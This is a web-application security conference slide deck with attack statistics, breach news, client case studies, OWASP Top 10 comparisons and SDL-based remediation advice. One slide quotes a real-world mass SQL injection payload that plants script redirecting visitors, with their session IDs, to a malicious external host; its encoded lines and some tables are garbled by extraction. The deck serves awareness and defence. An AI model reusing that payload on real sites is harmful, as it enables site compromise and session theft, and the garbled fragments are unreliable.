### Securing Web Applications Lethal Attacks On The Rise

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### Who Am I?

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### • Founder & Director

- Blueinfy Solutions Pvt. Ltd. (Brief)
- SecurityExposure.com
- Past experience
  - Net Square, Chase, IBM & Foundstone
- Interest
  - Web security research

### • Published research

- Articles / Papers Securityfocus, O'erilly, DevX, InformIT etc.
- Tools wsScanner, scanweb2.0, AppMap, AppCodeScan, AppPrint etc.
- Advisories .Net, Java servers etc.

### Books (Author)

- Web 2.0 Security Defending Ajax, RIA and SOA
- Hacking Web Services
- Web Hacking



Blueinfy Security exposure





Lethal Attacks on the rise

### Attacks in 2010

- Web Attacks Skyrocketed **93%** In 2010, while attack toolkits grew to account for two-thirds of all Webbased threats.
- Hacking results in an average of 262,767 identities exposed per data breach incident – hitting bottom line

50%+ vulnerabilities are on Web Apps Counting & Growing Era of Web Hacking , Web 2.0 and Social Networks



## Web App Hacking - Lethal



## **Mobile App Hacking - Lethal**



#### BlackBerry phones hit by ZeuS Trojan virus





KOLKATA: If you thought your phone is virus-proof, think again. There is a virus on the block that has started affecting all BlackBerry devices. And the worse part is that an user will never know whether her phone has been affected or not.

SpyEye mobile banking Trojan uses same tactics as ZeuS Give us your number, mate, we'll send you a 'digital certificate' ... By John Leyden • Get more from this author Posted in Mobile, 5th April 2011 10:34 GMT

### Impact

- In above two cases
  - Certificate can be injected as man in the middle
  - Attacker can spoof and sniff your content
  - Mass SQL injection delivers AV site and pop up for credit card.

### - Stealing banking information

+update+Table+set+FieldName=REPLACE(cast(FieldName+as+varchar(8000)),cast(char(60)%2Bchar(47) %2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115) %2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114) %2Bcl

#### %2Bcl document.location = %2Bcl http://software-werp.co.cc/scan1b/237?sessionId= %2Bcl asapssasagessa

056061050038051069056048061049';

 %2Bcl
 050055049048061049038050051050056061049038048055068048061049038112097r097109095110097m101061

 %2Bcl
 s101115s105111n073100038048051E056061f114101e115121s116101m115099a110046e1201010380480668056

 %2Bcl
 061049038116y112101061115099a110049b03804905505504806104803804905105605606104803811606104905

 %2Bcl
 061049038116y112101061115099a110049b03804905505504806104803804905105605606104803811606104905

 %2Bcl
 07103111003108e0460990109038049070052048061049038049066053056061049038071e110101r097116e061

 +as+v
 071e11001r097116e03805E069048061049038048070065048061049053038050A070056061049038051055057



## What's going on ...

- Attacks over HTTP (port 80/443)
- Firewall blocking No!
- Web pages and software Vulnerable? YES!!!
  - Impact : Severe
  - Exploitability : Easy
  - Loss : Business, Intellectual Property, Data etc.
- Attacks are growing with sophistication ...
- Game of Chess going on ...

## Hacks & Exploits

- 90% of sites are vulnerable to one or more vulnerabilities.
- Exploitable ? YES!
- Most popular ones are SQLi & XSS
- SQLi complete compromise of the application ... 🐓
- XSS Control over browser and exploitation
- Mobile hacks and attacks





### **Attack Patterns**

- 80% Sites are having security issues
- Web Application Layer vulnerabilities are growing at higher rate in security space
- Client side hacking and vulnerabilities are on the rise – from 5% to 30% (IBM)
- Web browser vulnerabilities is growing at high rate
- End point exploitation shifting from OS to browser and its plugins

- Web pages are medium for eCrime
- Web vulnerabilities are medium for malware and spyware delivery
- Web based malware embedded in sites are common mean for delivery
- 82% rise in malicious sites which needs to be blocked in one year
- Spyware/adware are at higher then malware on sites – iframe based attacks

- Social networking and Web 2.0 sites are carrier for complex worms and malware rising at rapid rate
- Top Security Concerns of 2008: Criminals are exploiting vulnerabilities along the entire Web ecosystem to gain control of computers and networks.
- Invisible threats (such as hard-to-detect infections of legitimate websites) are making common sense and many traditional security solutions ineffective.

- 75 percent of Web sites with malicious code
- 60 percent of the top 100 most popular Web sites have either hosted or been involved in malicious activity
- 76.5 percent of all emails in circulation contained links to spam sites and/or malicious Web sites.
- 29 percent of malicious Web attacks included datastealing snippet
- 46 percent of data-stealing attacks are conducted over the Web. (WebSense)

### **Top Attacks**



### **Top Weaknesses**





#### TCS website restored after hacking incident | cyberlawtimes.com Q

8 Feb 2010 ... TCS website was hacked by the propcess of DNS hijacking on 7 Feb 2010, now has been restored after hacking incident. www.cyberlawtimes.com/tcs-website-hacked/ - Cached

#### CBI website hacked by 'Pak Cyber Army' Q

4 Dec 2010 ... CBI website hacked by 'Pak Cyber Army'. Press Trust of India, Updated: December 04, ... 'I think this is not a mere hacking incident. ... www.ndtv.com > India - Cached - Similar

#### State Bank of India shuts down website after hackers break in Q

28 Dec 2008 ... Announcing WASC Web Hacking Incident Database (WHID) Mail-list ... "We have informed the Reserve Bank of India and the cyber cell of the ...

www.cgisecurity.com/.../-state-bank-of-india-shuts-down-website-after-hackers-break-in.html - Cached - Similar



### **Real Life Cases and Analysis**

### **Enterprise Application Case**

- Enterprise running on 2.0 wave Portal
- Technologies & Components Dojo, Ajax, XML Services, Blog, Widgets
- Scan with tools/products failed
- Security issues and hacks
  - SQL injection over XML
  - Ajax driven XSS
  - Several XSS with Blog component
  - Several information leaks through JSON fuzzing
  - CSRF on both XML and JS-Array

» HACKED
» DEFENSE

### Real Case Study

- Impact
  - Possible to run sql queries remotely
  - Changing price and placing order
  - Customer information enumeration
  - Stealing customer identities
  - Manipulation in JSON/XML streams and much more
  - Great financial impact...

## Large Telecom Application

- Large Telecom company
  - Source code review was done
  - Application is distributed running in browser, PDA and Mobile phones
  - Payment system was involved
  - Vulnerable
    - Presentation layer (XSS and CSRF)
    - SQL
    - DoS
    - Session issues

## **Banking Application**

- Scanning application for vulnerabilities
- Typical banking running with middleware
- Vulnerabilities
  - Profile manipulation (Logical and Hidden values)
  - XSS
  - Strong session management but URL rewriting
  - SQL is impossible in this case

### Postmortem

- Web application firewall was in place
- They scanned their applications
- Manual testing was done
- Source code was never audited
- There was no focus on SDLC and security awareness for developers
- Fixing is going to cost a lot

### **Vulnerability Analysis**



### Methodology

The statistics was compiled from web application security assessment projects v

- <u>Blueinfy</u>
- <u>Cenzic</u> with <u>Hailstorm</u> and <u>ClickToSecure</u>
- <u>DNS</u> with <u>WebInspect</u>
- Encription Limited
- HP Application Security Center with WebInspect
- Positive Technologies with MaxPatrol
- <u>Veracode</u> with <u>Veracode Security Review</u>
- WhiteHat Security with WhiteHat Sentinel

## AppSec dynamics

#### New Top Ten 2004

A1 Unvalidated Input	OWASP Top 10 – 2007 (Previous)	OWASP Top 10 – 2010 (New)	
A2 Broken Access Control	A2 – Injection Flaws	A1 – Injection	
	A1 – Cross Site scripting (XSS)	A2 – Cross Site Scripting (XSS)	
A3 Broken Authentication and Session	47 – Broken Authentication and Session Management	A3 – Broken Authentication and Session Management	
Management	A4 – Inscribe Direct Object Reference	A4 – Insecure Direct Object References	
A4 Cross Site Scripting (XSS) Flaws	AP – Cross Site Request Forgery (CSRF)	A5 – Cross Site Request Forgery (CSRF)	
A5 Ruffer Overflows	<was -="" 2004="" a10="" configuration="" insecure="" management="" t10=""></was>	A6 – Security Misconfiguration (NEW)	
A6 Injection Flows	A10 – Failure to Restrict URL Access	A7 – Failure to Restrict URL Access	
Ab Injection Flaws	<not 2007="" in="" t10=""></not>	A8 – Unvalidated Redirects and Forwards (NEW)	
A7 Improper Error Handling	A8 – Insecure Cryptographic Storage	A9 – Insecure Cryptographic Storage	
A8 Insecure Storage	A9 – Insecure Communications	A10 - Insufficient Transport Layer Protection	
A9 Denial of Service	A3 – Malicious File Execution	<dropped 2010="" from="" t10=""></dropped>	
A10 Insecure Configuration Management	A6 – Information Leakage and Improper Error Handling	<dropped 2010="" from="" t10=""></dropped>	

Source - OWASP



### Vulnerability – Why and Where?

### Root cause of Vulnerabilities

**CSI Security Survey : Vulnerability Distribution** 



## Source Code Issues

- 1 Security defect per 10,000 lines
- Reported
  - 30,000+ at CVE
  - 6000+ at IBM X-Force
- 70% developers are working on application coding
- 4 in top 5 vulnerabilities are on application layer
- Expensive to fix them.

## Vulnerability vs. Bug ..



### **OWASP's Risk Picture**



Threat Agent	Attack Vector	Weakness Prevalence	Weakness Detectability	<b>Technical Impact</b>	<b>Business Impact</b>
?	Easy	Widespread	Easy	Severe	?
?	Average	Common	Average	Moderate	?
?	Difficult	Uncommon	Difficult	Minor	?



# Securing – Methodologies & Approach

## **Application Security Cycle**



### Methodology, Scan and Attacks



### Microsoft - SDL

Security Development Lifecycle Process

Training	Requirements	Design	Implementation	n Verification	Release	Response
Core training	<ul> <li>Define quality gates/bug bar</li> <li>Analyze security and privacy risk</li> </ul>	<ul> <li>Attack surface analysis</li> <li>Threat Modeling</li> </ul>	<ul> <li>Specify tools</li> <li>Enforce banned functions</li> <li>Static analysis</li> </ul>	<ul> <li>Dynamic/Fuzz testing</li> <li>Verify threat models/attack surface</li> </ul>	<ul> <li>Response plan</li> <li>Final security review</li> <li>Release archive</li> </ul>	Response     execution



## Securing Your App

- Detection
  - Scan and Penetration testing (Symptoms)
  - Code Analysis (Root Cause)
- Securing
  - Securing Code during SDLC (Long term and permanent fix)
  - Web Application Firewall (Short term and temporary patch)
- Don't go live without securing !!! World is hostile ....



### Thanks!!!

### Conclusion – Questions?

**Upcoming Events** 



Syscan - Singapore 🔤 SYS\_11\_01 - Web Hacking – Threats & Countermeasure

HackInTheBox - Amsterdam 2011 TT4 – Web Hacking 2.0: Attacks, Penetration and Exploits Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)



http://www.infibeam.com/Books/search?q=shreeraj